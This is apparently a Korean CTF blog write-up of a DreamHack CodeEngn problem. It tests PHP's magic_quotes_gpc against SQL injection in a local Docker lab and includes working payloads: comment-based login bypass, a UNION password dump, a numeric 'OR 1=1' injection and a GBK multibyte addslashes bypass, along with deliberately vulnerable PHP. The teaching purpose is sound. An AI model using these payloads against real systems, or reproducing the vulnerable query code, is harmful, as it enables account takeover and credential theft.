곡격은 셋이닀. λ”°μ˜΄ν‘œλ‘œ 쑰건을 λ‹«λŠ” 인증 우회, UNION 으둜 μ»¬λŸΌμ„ λ°”κΏ”μΉ˜λŠ” 검색 μΈμ μ…˜, 그리고 λ”°μ˜΄ν‘œκ°€ μ• μ΄ˆμ— μ—†λŠ” 숫자 νŒŒλΌλ―Έν„°.

# lab/attack.sh
#!/usr/bin/env bash
# APM λž©μ— SQL Injection 3쒅을 λ˜μ§„λ‹€. ν™”λ©΄μ—λŠ” php κ°€ μ‹€μ œλ‘œ λ§Œλ“  쿼리가 같이 μ°νžŒλ‹€.
#   (1) λ”°μ˜΄ν‘œλ‘œ 쑰건을 λ‹«κ³  λ‚˜λ¨Έμ§€λ₯Ό 주석 μ²˜λ¦¬ν•˜λŠ” 인증 우회
#   (2) UNION SELECT 둜 λ‹€λ₯Έ μ»¬λŸΌμ„ λŒμ–΄μ˜€λŠ” 검색 μΈμ μ…˜
#   (3) λ”°μ˜΄ν‘œκ°€ μ• μ΄ˆμ— μ—†λŠ” 숫자 νŒŒλΌλ―Έν„°
set -u
B=http://127.0.0.1:8080
 
echo "### (0) ν˜„μž¬ php.ini μƒνƒœ"
curl -s "$B/env.php" | sed -n '1,9p'
 
echo
echo "### (1) 둜그인 우회 β€” userid=admin'-- "
curl -s -G "$B/login.php" --data-urlencode "userid=admin'-- " --data-urlencode "userpass=x"
 
echo
echo "### (2) UNION β€” q=' UNION SELECT userid,userpass FROM members#"
curl -s -G "$B/search.php" --data-urlencode "q=' UNION SELECT userid,userpass FROM members#"
 
echo
echo "### (3) 숫자 νŒŒλΌλ―Έν„° β€” idx=1 OR 1=1"
curl -s -G "$B/idlookup.php" --data-urlencode "idx=1 OR 1=1"
./lab/attack.sh

magic_quotes_gpc = Off 인 μƒνƒœμ—μ„œ attack.sh μ‹€ν–‰ κ²°κ³Ό β€” 둜그인 μš°νšŒκ°€ LOGIN OK is_admin=1 둜 ν†΅κ³Όν•˜κ³ , UNION μΈμ μ…˜μ΄ admin 의 평문 λΉ„λ°€λ²ˆν˜Έ S3cr3t-4dm1n-p4ss λ₯Ό 포함해 μ„Έ 계정을 λ‹€ 뱉고, 숫자 νŒŒλΌλ―Έν„°λ„ 전체 행을 λ°˜ν™˜ν•œλ‹€
magic_quotes_gpc = Off 인 μƒνƒœμ—μ„œ attack.sh μ‹€ν–‰ κ²°κ³Ό β€” 둜그인 μš°νšŒκ°€ LOGIN OK is_admin=1 둜 ν†΅κ³Όν•˜κ³ , UNION μΈμ μ…˜μ΄ admin 의 평문 λΉ„λ°€λ²ˆν˜Έ S3cr3t-4dm1n-p4ss λ₯Ό 포함해 μ„Έ 계정을 λ‹€ 뱉고, 숫자 νŒŒλΌλ―Έν„°λ„ 전체 행을 λ°˜ν™˜ν•œλ‹€

μ…‹ λ‹€ ν†΅ν•œλ‹€.

둜그인 μͺ½μ€ userid=admin'-- 이 λ§Œλ“€μ–΄ λ‚Έ 쿼리가 μ΄λ ‡κ²Œ λœλ‹€.

SELECT idx, userid, email, is_admin FROM members WHERE userid='admin'-- ' AND userpass='x'

μš°λ¦¬κ°€ 넣은 λ”°μ˜΄ν‘œκ°€ userid λ¬Έμžμ—΄μ„ λ‹«μ•„ 버렸고, κ·Έ λ’€ -- λΆ€ν„°λŠ” 주석이라 λΉ„λ°€λ²ˆν˜Έ 쑰건이 ν†΅μ§Έλ‘œ 사라진닀. is_admin=1 인 κ΄€λ¦¬μž 행이 κ·ΈλŒ€λ‘œ λ‚˜μ˜¨λ‹€.

검색 μͺ½μ€ 더 λ‚˜μ˜λ‹€.

SELECT userid, email FROM members WHERE userid LIKE '%' UNION SELECT userid,userpass FROM members#%'

두 번째 컬럼 μžλ¦¬μ— email λŒ€μ‹  userpass λ₯Ό λΌμ›Œ λ„£μ—ˆμœΌλ‹ˆ 평문 λΉ„λ°€λ²ˆν˜Έκ°€ 화면에 μ°νžŒλ‹€. S3cr3t-4dm1n-p4ss Β· hunter2 κ°€ κ·ΈλŒ€λ‘œ 보인닀.



βœ… On β€” php.ini ν•œ 쀄

이제 μ˜΅μ…˜λ§Œ μΌ λ‹€. μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ½”λ“œλŠ” κ±΄λ“œλ¦¬μ§€ μ•ŠλŠ”λ‹€.

# lab/mq.sh
#!/usr/bin/env bash
# php.ini 의 magic_quotes_gpc λ₯Ό On/Off 둜 λ°”κΎΈκ³  μ•„νŒŒμΉ˜λ₯Ό λ‹€μ‹œ μ½νžŒλ‹€.
# μ»¨ν…Œμ΄λ„ˆ 이름은 l04-apm, php.ini λŠ” /etc/php5/apache2/php.ini λ‹€.
set -eu
VAL="$1"                                  # on | off
docker exec l04-apm sed -i \
  "s/^magic_quotes_gpc = .*/magic_quotes_gpc = ${VAL}/" /etc/php5/apache2/php.ini
docker exec l04-apm grep -n '^magic_quotes_gpc' /etc/php5/apache2/php.ini
docker exec l04-apm /usr/sbin/apache2ctl graceful
sleep 1
./lab/mq.sh on

lab/mq.sh on μ‹€ν–‰ β€” php.ini 747행이 magic_quotes_gpc = on 으둜 λ°”λ€Œκ³  apache2ctl graceful 이 섀정을 λ‹€μ‹œ μ½λŠ”λ‹€
lab/mq.sh on μ‹€ν–‰ β€” php.ini 747행이 magic_quotes_gpc = on 으둜 λ°”λ€Œκ³  apache2ctl graceful 이 섀정을 λ‹€μ‹œ μ½λŠ”λ‹€

같은 곡격을 λ‹€μ‹œ λ˜μ§„λ‹€.

./lab/attack.sh

magic_quotes_gpc = On 인 μƒνƒœμ—μ„œ attack.sh μž¬μ‹€ν–‰ β€” 쿼리에 admin'-- 처럼 λ°±μŠ¬λž˜μ‹œκ°€ λ°•ν˜€ 둜그인이 LOGIN FAILED 둜 λ–¨μ–΄μ§€κ³  UNION 은 κ²°κ³Όκ°€ 0ν–‰μ΄μ§€λ§Œ, λ§ˆμ§€λ§‰ 숫자 νŒŒλΌλ―Έν„° idx=1 OR 1=1 λ§Œμ€ μ—¬μ „νžˆ μ„Έ 계정을 λ‹€ λ°˜ν™˜ν•œλ‹€
magic_quotes_gpc = On 인 μƒνƒœμ—μ„œ attack.sh μž¬μ‹€ν–‰ β€” 쿼리에 admin'-- 처럼 λ°±μŠ¬λž˜μ‹œκ°€ λ°•ν˜€ 둜그인이 LOGIN FAILED 둜 λ–¨μ–΄μ§€κ³  UNION 은 κ²°κ³Όκ°€ 0ν–‰μ΄μ§€λ§Œ, λ§ˆμ§€λ§‰ 숫자 νŒŒλΌλ―Έν„° idx=1 OR 1=1 λ§Œμ€ μ—¬μ „νžˆ μ„Έ 계정을 λ‹€ λ°˜ν™˜ν•œλ‹€

쿼리가 μ΄λ ‡κ²Œ λ°”λ€Œμ—ˆλ‹€.

SELECT idx, userid, email, is_admin FROM members WHERE userid='admin\'-- ' AND userpass='x'

λ”°μ˜΄ν‘œ μ•žμ— λ°±μŠ¬λž˜μ‹œκ°€ λΆ™μ—ˆλ‹€. MySQL 은 이걸 λ¬Έμžμ—΄μ„ λ‹«λŠ” κΈ°ν˜Έκ°€ μ•„λ‹ˆλΌ λ”°μ˜΄ν‘œλΌλŠ” κΈ€μž 자체둜 μ½λŠ”λ‹€. κ·Έλž˜μ„œ 쑰건이 μ•ˆ 끊기고 userid κ°€ admin'-- 인 νšŒμ›μ„ μ°Ύλ‹€κ°€ μ—†μœΌλ‹ˆ LOGIN FAILED. UNION μͺ½λ„ 같은 이유둜 0행이닀.

magic_quotes_gpc κ°€ μš”μ²­ 처리 경둜의 어디에 λΌμ–΄λ“œλŠ”μ§€ β€” λΈŒλΌμš°μ €μ—μ„œ Apache mod_php λ₯Ό μ§€λ‚˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ½”λ“œλ‘œ κ°€κΈ° 전에 SAPI κ°€ GPC 전체에 addslashes λ₯Ό κ±Έκ³ , Off λ©΄ λ”°μ˜΄ν‘œκ°€ 쑰건을 끊고 On 이면 λ¦¬ν„°λŸ΄μ΄ λ˜μ–΄ 0행이 λ˜λŠ” 두 갈래λ₯Ό λ‚˜λž€νžˆ 보여 μ€€λ‹€
magic_quotes_gpc κ°€ μš”μ²­ 처리 경둜의 어디에 λΌμ–΄λ“œλŠ”μ§€ β€” λΈŒλΌμš°μ €μ—μ„œ Apache mod_php λ₯Ό μ§€λ‚˜ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ½”λ“œλ‘œ κ°€κΈ° 전에 SAPI κ°€ GPC 전체에 addslashes λ₯Ό κ±Έκ³ , Off λ©΄ λ”°μ˜΄ν‘œκ°€ 쑰건을 끊고 On 이면 λ¦¬ν„°λŸ΄μ΄ λ˜μ–΄ 0행이 λ˜λŠ” 두 갈래λ₯Ό λ‚˜λž€νžˆ 보여 μ€€λ‹€

μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ κ·ΈλŒ€λ‘œλ‹€. 바뀐 건 μ„€μ • ν•œ 쀄이닀. λ¬Έμ œκ°€ "μ„€μ •νŒŒμΌμ—μ„œ 무엇을 μ„€μ •ν•΄μ•Ό μ•ˆμ „ν•œκ°€"라고 λ¬»λŠ” μ΄μœ κ°€ μ—¬κΈ° μžˆλ‹€.


πŸ•³οΈ 그런데 이건 μ™„μ „ν•œ λ°©μ–΄κ°€ μ•„λ‹ˆλ‹€

같은 ν™”λ©΄ λ§ˆμ§€λ§‰ 쀄을 λ‹€μ‹œ 보자. magic_quotes_gpc = On 인데도 μ„Έ 번째 곡격은 ν†΅κ³Όν–ˆλ‹€.

SELECT userid, email, is_admin FROM members WHERE idx=1 OR 1=1

addslashes() λŠ” λ”°μ˜΄ν‘œΒ·λ°±μŠ¬λž˜μ‹œΒ·NUL μ—λ§Œ λ°±μŠ¬λž˜μ‹œλ₯Ό 뢙인닀. 1 OR 1=1 μ—λŠ” 그런 κΈ€μžκ°€ ν•˜λ‚˜λ„ μ—†λ‹€. μ• μ΄ˆμ— νŒŒλΌλ―Έν„°λ₯Ό λ”°μ˜΄ν‘œλ‘œ 감싸지 μ•Šμ•˜μœΌλ‹ˆ 막을 λŒ€μƒ μžμ²΄κ°€ μ—†λ‹€.

두 번째 ꡬ멍은 더 κ³ μ•½ν•˜λ‹€. μ—°κ²° λ¬Έμžμ…‹μ΄ λ©€ν‹°λ°”μ΄νŠΈλ©΄ λ°±μŠ¬λž˜μ‹œκ°€ ν†΅μ§Έλ‘œ λ¨ΉνžŒλ‹€.

<?php
// lab/www/gbk.php
// μ—°κ²° λ¬Έμžμ…‹μ΄ λ©€ν‹°λ°”μ΄νŠΈ(GBK)일 λ•Œ β€” addslashes κ°€ 넣은 λ°±μŠ¬λž˜μ‹œκ°€ λ”°μ˜΄ν‘œλ₯Ό λͺ» 지킨닀.
// 0xbf + 0x5c λŠ” GBK μ—μ„œ κΈ€μž ν•œ 개둜 λ¨Ήνžˆλ―€λ‘œ λ°±μŠ¬λž˜μ‹œκ°€ 사라지고 λ”°μ˜΄ν‘œλ§Œ λ‚¨λŠ”λ‹€.
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("shop", $conn);
mysql_query("SET NAMES gbk", $conn);        // 2000λ…„λŒ€ ν•œμ€‘μΌ μ‚¬μ΄νŠΈμ—μ„œ ν”ν–ˆλ˜ μ„€μ •
 
$userid = $_GET['userid'];
$sql = "SELECT idx, userid, email, is_admin FROM members WHERE userid='$userid' AND userpass='x'";
 
// mysql_client_encoding() 은 SET NAMES λ₯Ό λ°˜μ˜ν•˜μ§€ μ•ŠμœΌλ―€λ‘œ μ„œλ²„μ— 직접 λ¬Όμ–΄λ³Έλ‹€
$v = mysql_fetch_assoc(mysql_query("SHOW VARIABLES LIKE 'character_set_client'", $conn));
 
echo "magic_quotes_gpc     = " . (get_magic_quotes_gpc() ? "On" : "Off") . "\n";
echo "character_set_client = " . $v['Value'] . "\n";
echo "userid hex           = " . bin2hex($userid) . "   (bf 5c 27 : 5c κ°€ bf 에 λ¨ΉνžŒλ‹€)\n";
echo "SQL: $sql\n";
 
$res = mysql_query($sql, $conn);
if (!$res) { echo "MySQL error: " . mysql_error($conn) . "\n"; exit; }
$row = mysql_fetch_assoc($res);
if ($row) {
    echo "LOGIN OK  -> idx={$row['idx']} userid={$row['userid']} is_admin={$row['is_admin']}\n";
} else {
    echo "LOGIN FAILED\n";
}
?>

0xbf λ₯Ό λ”°μ˜΄ν‘œ μ•žμ— λΆ™μ—¬ 보낸닀. addslashes() λŠ” 0xbf 0x5c 0x27 을 λ§Œλ“ λ‹€. 그런데 GBK μ—μ„œ 0xbf 0x5c λŠ” κΈ€μž ν•œ κ°œλ‹€. λ°±μŠ¬λž˜μ‹œκ°€ κ·Έ κΈ€μžμ— 흑수되고 λ”°μ˜΄ν‘œλ§Œ λ‚¨λŠ”λ‹€.

curl -s "http://127.0.0.1:8080/gbk.php?userid=%bf%27%20OR%201%3D1%23"

magic_quotes_gpc = On 이고 character_set_client κ°€ gbk 인 μƒνƒœμ—μ„œ 0xbf 27 을 보낸 κ²°κ³Ό β€” userid hex κ°€ bf5c27 둜 λ°±μŠ¬λž˜μ‹œκ°€ λΆ™μ—ˆλŠ”λ°λ„ LOGIN OK idx=1 userid=admin is_admin=1 둜 κ΄€λ¦¬μž 인증이 λš«λ¦°λ‹€
magic_quotes_gpc = On 이고 character_set_client κ°€ gbk 인 μƒνƒœμ—μ„œ 0xbf 27 을 보낸 κ²°κ³Ό β€” userid hex κ°€ bf5c27 둜 λ°±μŠ¬λž˜μ‹œκ°€ λΆ™μ—ˆλŠ”λ°λ„ LOGIN OK idx=1 userid=admin is_admin=1 둜 κ΄€λ¦¬μž 인증이 λš«λ¦°λ‹€

magic_quotes_gpc = On 인데 LOGIN OK, is_admin=1. λ°±μŠ¬λž˜μ‹œλŠ” λΆ„λͺ…νžˆ λΆ™μ—ˆλŠ”λ°(bf5c27) 아무 μ†Œμš©μ΄ μ—†λ‹€.

β–ΆπŸ› μ‚½μ§ˆ 2 β€” mysql_client_encoding() 을 λ―Ώμ—ˆλ‹€κ°€ νŒλ‹¨μ„ κ·Έλ₯΄μΉ  λ»”ν–ˆλ‹€

처음 gbk.php λŠ” mysql_client_encoding($conn) 으둜 λ¬Έμžμ…‹μ„ μ°μ—ˆλ‹€. κ²°κ³ΌλŠ” latin1 μ΄μ—ˆλ‹€.

magic_quotes_gpc = On
charset          = latin1

SET NAMES gbk λ₯Ό λΆ„λͺ…νžˆ λ³΄λƒˆλŠ”λ° latin1 μ΄λΌλ‹ˆ, μš°νšŒκ°€ μ„±κ³΅ν•œ 게 λ‹€λ₯Έ 이유 λ•Œλ¬ΈμΈκ°€ μ‹Άμ—ˆλ‹€.

mysql_client_encoding() 은 ν΄λΌμ΄μ–ΈνŠΈ λΌμ΄λΈŒλŸ¬λ¦¬κ°€ λ“€κ³  μžˆλŠ” 값을 λŒλ €μ£ΌλŠ”λ°, SET NAMES λŠ” μ„œλ²„ μͺ½ μ„Έμ…˜ λ³€μˆ˜λ§Œ λ°”κΎΈλ―€λ‘œ κ·Έ 값이 κ°±μ‹ λ˜μ§€ μ•ŠλŠ”λ‹€. μ„œλ²„μ— 직접 물어봐야 ν•œλ‹€.

SHOW VARIABLES LIKE 'character_set_client'

μ΄λ ‡κ²Œ λ°”κΎΈλ‹ˆ gbk κ°€ λ‚˜μ™”λ‹€. μš°νšŒκ°€ ν†΅ν•œ μ΄μœ κ°€ λ§žμ•˜λ‹€. 진단 ν•¨μˆ˜ ν•˜λ‚˜λ₯Ό 잘λͺ» κ³¨λžλ‹€κ³  "ν˜„μƒ 해석"κΉŒμ§€ ν‹€μ–΄μ§ˆ λ»”ν–ˆλ‹€.

두 λ°˜λ‘€λ₯Ό ν•©μΉ˜λ©΄ 결둠이 μ΄λ ‡κ²Œ λœλ‹€. magic_quotes_gpc λŠ” λ‹Ήμ‹œ κΈ°μ€€μœΌλ‘œ λ§žλŠ” 닡이고 μ‹€μ œλ‘œ λ”°μ˜΄ν‘œ 기반 μΈμ μ…˜μ„ λ§‰μ§€λ§Œ, 숫자 νŒŒλΌλ―Έν„°μ™€ λ©€ν‹°λ°”μ΄νŠΈ λ¬Έμžμ…‹ μ•žμ—μ„œλŠ” κ·Έλƒ₯ λš«λ¦°λ‹€. PHP κ°€ 이 μ˜΅μ…˜μ„ 5.4 μ—μ„œ μ—†μ•€ μ΄μœ μ΄κΈ°λ„ ν•˜λ‹€ β€” 켜 λ†“μœΌλ©΄ μ•ˆμ „ν•˜λ‹€λŠ” 착각을 λ§Œλ“ λ‹€.



πŸš€ ν•œ λ°© μž¬ν˜„

랩 ꡬ성뢀터 λŒ€μ‘°κΉŒμ§€ 슀크립트 ν•˜λ‚˜λ‘œ λ¬Άμ—ˆλ‹€. 이미지λ₯Ό λ§Œλ“€κ³ , μ»¨ν…Œμ΄λ„ˆλ₯Ό λ„μš°κ³ , Off/On 각각으둜 곡격을 λ˜μ§€κ³ , μ˜ˆμƒκ³Ό λ‹€λ₯΄λ©΄ κ·Έ μžλ¦¬μ—μ„œ μ‹€νŒ¨λ‘œ λλ‚œλ‹€.

# reproduce.sh
#!/usr/bin/env bash
# [CodeEngn] Malware L04 β€” ν•œ λ°© μž¬ν˜„.
# APM(Apache 2.2 + PHP 5.3.3 + MySQL 5.1) λž©μ„ μ„Έμš°κ³  magic_quotes_gpc Off/On 을 λŒ€μ‘°ν•΄
# "php.ini μ—μ„œ 이 μ˜΅μ…˜μ„ 켜면 SQL Injection 이 λ§‰νžŒλ‹€"λ₯Ό μ‹€μ œλ‘œ ν™•μΈν•œ λ’€ 닡을 좜λ ₯ν•œλ‹€.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
EXPECT='magic_quotes_gpc'
B=http://127.0.0.1:8080
 
docker image inspect l04-apm >/dev/null 2>&1 || docker build -t l04-apm ./lab
docker rm -f l04-apm >/dev/null 2>&1 || true
docker run -d --name l04-apm -p 127.0.0.1:8080:80 l04-apm >/dev/null
for i in $(seq 1 90); do curl -sf -m 3 "$B/env.php" >/dev/null 2>&1 && break; sleep 1; done
 
fail() { echo "❌ FAIL β€” $1"; docker rm -f l04-apm >/dev/null 2>&1 || true; exit 1; }
 
./lab/mq.sh off >/dev/null
OFF_LOGIN=$(curl -s -G "$B/login.php" --data-urlencode "userid=admin'-- " --data-urlencode "userpass=x")
OFF_UNION=$(curl -s -G "$B/search.php" --data-urlencode "q=' UNION SELECT userid,userpass FROM members#")
echo "$OFF_LOGIN" | grep -q 'LOGIN OK'            || fail "Off 인데 둜그인 μš°νšŒκ°€ μ•ˆ 됐닀"
echo "$OFF_UNION" | grep -q 'S3cr3t-4dm1n-p4ss'   || fail "Off 인데 UNION 으둜 λΉ„λ°€λ²ˆν˜Έκ°€ μ•ˆ μƒˆμ–΄ λ‚˜μ™”λ‹€"
 
./lab/mq.sh on >/dev/null
ON_LOGIN=$(curl -s -G "$B/login.php" --data-urlencode "userid=admin'-- " --data-urlencode "userpass=x")
ON_UNION=$(curl -s -G "$B/search.php" --data-urlencode "q=' UNION SELECT userid,userpass FROM members#")
ON_NUM=$(curl -s -G "$B/idlookup.php" --data-urlencode "idx=1 OR 1=1")
ON_GBK=$(curl -s "$B/gbk.php?userid=%bf%27%20OR%201%3D1%23")
echo "$ON_LOGIN" | grep -q 'LOGIN FAILED'         || fail "On 인데 둜그인 μš°νšŒκ°€ μ—¬μ „νžˆ ν†΅ν•œλ‹€"
if echo "$ON_UNION" | grep -q 'S3cr3t-4dm1n-p4ss'; then fail "On 인데 UNION 이 μ—¬μ „νžˆ ν†΅ν•œλ‹€"; fi
echo "$ON_NUM"   | grep -q 'admin=1'              || fail "숫자 νŒŒλΌλ―Έν„° λ°˜λ‘€κ°€ μž¬ν˜„λ˜μ§€ μ•Šμ•˜λ‹€"
echo "$ON_GBK"   | grep -q 'LOGIN OK'             || fail "GBK 우회 λ°˜λ‘€κ°€ μž¬ν˜„λ˜μ§€ μ•Šμ•˜λ‹€"
 
docker rm -f l04-apm >/dev/null 2>&1 || true
 
echo "Off β†’ 둜그인 우회 성곡 Β· UNION 으둜 평문 λΉ„λ°€λ²ˆν˜Έ 유좜"
echo "On  β†’ 둜그인 우회 차단 Β· UNION 차단"
echo "On  β†’ κ·Έλž˜λ„ 숫자 νŒŒλΌλ―Έν„°(idx=1 OR 1=1)와 GBK(0xbf27) λŠ” 톡과 : μ™„μ „ν•œ λ°©μ–΄κ°€ μ•„λ‹ˆλ‹€"
echo
echo "βœ… PASS  $EXPECT"
./reproduce.sh

reproduce.sh ν•œ λ°© μ‹€ν–‰ β€” λž©μ„ μ„Έμš°κ³  Off/On λŒ€μ‘°λ₯Ό 끝낸 λ’€ 둜그인 μš°νšŒμ™€ UNION 이 μ°¨λ‹¨λ˜κ³  숫자 νŒŒλΌλ―Έν„°μ™€ GBK 만 ν†΅κ³Όν•œλ‹€λŠ” μš”μ•½μ„ 찍고 PASS magic_quotes_gpc 둜 λλ‚œλ‹€
reproduce.sh ν•œ λ°© μ‹€ν–‰ β€” λž©μ„ μ„Έμš°κ³  Off/On λŒ€μ‘°λ₯Ό 끝낸 λ’€ 둜그인 μš°νšŒμ™€ UNION 이 μ°¨λ‹¨λ˜κ³  숫자 νŒŒλΌλ―Έν„°μ™€ GBK 만 ν†΅κ³Όν•œλ‹€λŠ” μš”μ•½μ„ 찍고 PASS magic_quotes_gpc 둜 λλ‚œλ‹€

β–ΆπŸ› μ‚½μ§ˆ 3 β€” 이미지에 μ•ˆ ꡬ운 νŽ˜μ΄μ§€ λ•Œλ¬Έμ— μž¬ν˜„μ΄ κΉ¨μ‘Œλ‹€

gbk.php λŠ” λž©μ„ 이미 λ„μš΄ 뒀에 λ– μ˜¬λΌμ„œ docker cp 둜 λ°€μ–΄ λ„£μ—ˆλ‹€. κ·Έ μƒνƒœλ‘œλŠ” 잘 λŒμ•˜λ‹€.

그런데 reproduce.sh λŠ” μ»¨ν…Œμ΄λ„ˆλ₯Ό μ§€μš°κ³  μ΄λ―Έμ§€μ—μ„œ μƒˆλ‘œ λ§Œλ“ λ‹€. μƒˆ μ»¨ν…Œμ΄λ„ˆμ—λŠ” κ·Έ 파일이 μ—†λ‹€.

❌ FAIL β€” GBK 우회 λ°˜λ‘€κ°€ μž¬ν˜„λ˜μ§€ μ•Šμ•˜λ‹€

μˆ˜λ™μœΌλ‘œ ν™•μΈν•œ 것과 슀크립트둜 μž¬ν˜„λ˜λŠ” 것은 λ‹€λ₯΄λ‹€. docker build λ₯Ό λ‹€μ‹œ 돌렀 www/ λ₯Ό 이미지에 κ΅½κ³  λ‚˜μ„œμ•Ό ν†΅κ³Όν–ˆλ‹€. "λ‚΄ ν™”λ©΄μ—μ„œλŠ” λ˜λŠ”λ°"κ°€ λ°±μ—… ν΄λ”μ—μ„œλŠ” μ•ˆ λ˜λŠ” μ „ν˜•μ μΈ κ²½λ‘œλ‹€.



πŸ“ κ²°λ‘ 

닡은 magic_quotes_gpc λ‹€.

APM μŠ€νƒμ—μ„œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜ μ½”λ“œλ₯Ό μ•ˆ 고치고 SQL Injection 을 쀄일 수 μžˆλŠ” php.ini μ˜΅μ…˜μ€ 이것 ν•˜λ‚˜λ‹€. λ‚˜λ¨Έμ§€ 후보듀은 각각 λ³€μˆ˜ μ˜€μ—Ό(register_globals) Β· 파일 μ ‘κ·Ό μ œν•œ(safe_mode) Β· 정보 λ…ΈμΆœ(display_errors) Β· 원격 파일 포함(allow_url_include) 을 닀루지, 쿼리 λ¬Έμžμ—΄μ—λŠ” μ†λŒ€μ§€ μ•ŠλŠ”λ‹€.

닡이 λ§žλ‹€λŠ” 것과 κ·Έ λ°©μ–΄κ°€ μΆ©λΆ„ν•˜λ‹€λŠ” 것은 λ‹€λ₯΄λ‹€.

λž©μ—μ„œ ν™•μΈν•œ λŒ€λ‘œ λ”°μ˜΄ν‘œ 기반 μΈμ μ…˜ 두 κ°œλŠ” μ‹€μ œλ‘œ λ§‰ν˜”μ§€λ§Œ, 숫자 νŒŒλΌλ―Έν„°μ™€ GBK λ¬Έμžμ…‹ μš°νšŒλŠ” μ˜΅μ…˜μ„ μΌ  μƒνƒœμ—μ„œλ„ κ·ΈλŒ€λ‘œ ν†΅ν–ˆλ‹€. addslashes() λŠ” κΈ€μž λ„€ μ’…λ₯˜λ§Œ λ³΄λŠ”λ° μΈμ μ…˜μ€ κ·Έ λ„€ μ’…λ₯˜λ₯Ό μ•ˆ 써도 μ„±λ¦½ν•œλ‹€.

μ˜΅μ…˜μ€ 5.4 μ—μ„œ μ‚¬λΌμ‘Œλ‹€.

μ „μ—­ μ„€μ •μœΌλ‘œ μž…λ ₯을 μ‘°μž‘ν•˜λ©΄ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ 자기 데이터가 μ΄μŠ€μΌ€μ΄ν”„λœ μƒνƒœμΈμ§€ μ•„λ‹Œμ§€λ₯Ό μ•Œ 수 μ—†λ‹€. κ·Έλž˜μ„œ κ·Έ μ‹œμ ˆ μ½”λ“œμ—λŠ” get_magic_quotes_gpc() λ₯Ό 물어보고 stripslashes() λ₯Ό λ˜λŒλ¦¬λŠ” λ°©μ–΄ μ½”λ“œκ°€ 널렀 μžˆμ—ˆκ³ , κ·Έ μ½”λ“œκ°€ 또 μƒˆλ‘œμš΄ 버그λ₯Ό λ§Œλ“€μ—ˆλ‹€. PHP λŠ” 5.3 μ—μ„œ deprecated, 5.4 μ—μ„œ 제거둜 μ •λ¦¬ν–ˆλ‹€.

μ§€κΈˆ 같은 상황이라면 무엇을 ν•˜λ‚˜.

μΏΌλ¦¬λŠ” ν”„λ¦¬νŽ˜μ–΄λ“œ μŠ€ν…Œμ΄νŠΈλ¨ΌνŠΈλ‘œ λ§Œλ“ λ‹€(PDO 의 prepare/execute, mysqli 의 바인딩). 값이 λ¬Έμžμ—΄μ΄λ“  μˆ«μžλ“  νŒŒλΌλ―Έν„°λ‘œ λ„˜μ–΄κ°€λ―€λ‘œ μœ„μ˜ 두 λ°˜λ‘€κ°€ λ‘˜ λ‹€ μ„±λ¦½ν•˜μ§€ μ•ŠλŠ”λ‹€. λ¬Έμžμ…‹μ€ μ—°κ²° 수립 μ‹œ PDO DSN μ΄λ‚˜ mysqli_set_charset() 으둜 μ§€μ •ν•œλ‹€ β€” SET NAMES 둜만 λ°”κΎΈλ©΄ ν΄λΌμ΄μ–ΈνŠΈ λΌμ΄λΈŒλŸ¬λ¦¬κ°€ λͺ¨λ₯Έ μ±„λ‘œ 남아 μ΄μŠ€μΌ€μ΄ν”„ ν•¨μˆ˜κ°€ 잘λͺ»λœ κ·œμΉ™μ„ μ“΄λ‹€. 이 문제의 GBK λ°˜λ‘€κ°€ λ°”λ‘œ κ·Έ 상황이닀.

문제 μžμ²΄λŠ” 단닡 ν•˜λ‚˜μ§€λ§Œ, κ·Έ 닡이 μ™œ λ‹Ήμ‹œμ—” μ •λ‹΅μ΄μ—ˆκ³  μ™œ μ§€κΈˆμ€ μ‚¬λΌμ‘ŒλŠ”μ§€κ°€ 싀은 더 κΈ΄ μ΄μ•ΌκΈ°μ˜€λ‹€.

이 글이 도움이 λλ‚˜μš”?

Comments

λŒ“κΈ€

0개

λŒ“κΈ€μ„ 남기렀면 둜그인이 ν•„μš”ν•΄μš”. (넀이버 Β· ꡬ글 계정)

λŒ“κΈ€ λΆˆλŸ¬μ˜€λŠ” 쀑…

Related

κ΄€λ ¨ κΈ€

3개
[πŸ₯ˆ Silver 4] 65,536은 μš°μ—°μ΄ μ•„λ‹ˆμ—ˆλ‹€ β€” DreamHack [CodeEngn] Malware L02 풀이
blog

[πŸ₯ˆ Silver 4] 65,536은 μš°μ—°μ΄ μ•„λ‹ˆμ—ˆλ‹€ β€” DreamHack [CodeEngn] Malware L02 풀이

μ•…μ„±μ½”λ“œ μ†ŒμŠ€ 62μ€„λ§Œ 던져주고 "무엇을 κ³΅κ²©ν•˜λŠ”κ°€"λ₯Ό λ¬»λŠ” 문제. μš”μ²­ 본문에 λ°•νžŒ DAV: λ„€μž„μŠ€νŽ˜μ΄μŠ€μ™€ SEARCH λ©”μ„œλ“œκ°€ 닡을 반쯀 μ•Œλ €μ£Όμ§€λ§Œ, 확신은 μ½”λ“œκ°€ μ‹€μ œλ‘œ λ§Œλ“€μ–΄ λ‚΄λŠ” λ°”μ΄νŠΈλ₯Ό κ·ΈλŒ€λ‘œ μž¬κ΅¬μ„±ν–ˆμ„ λ•Œ μ™”λ‹€. URI 길이가 λ”± 65,536λ°”μ΄νŠΈ β€” 0x10000이닀.
#dreamhack#ctf#misc+5
2026-08-17#dreamhack +4
[πŸ₯‰ Bronze 1] 31쀄 발췌본이 base64 μΈμ½”λ”λΌλŠ” κ±Έ 증λͺ…ν•˜κΈ° β€” DreamHack [CodeEngn] Malware L05 풀이
blog

[πŸ₯‰ Bronze 1] 31쀄 발췌본이 base64 μΈμ½”λ”λΌλŠ” κ±Έ 증λͺ…ν•˜κΈ° β€” DreamHack [CodeEngn] Malware L05 풀이

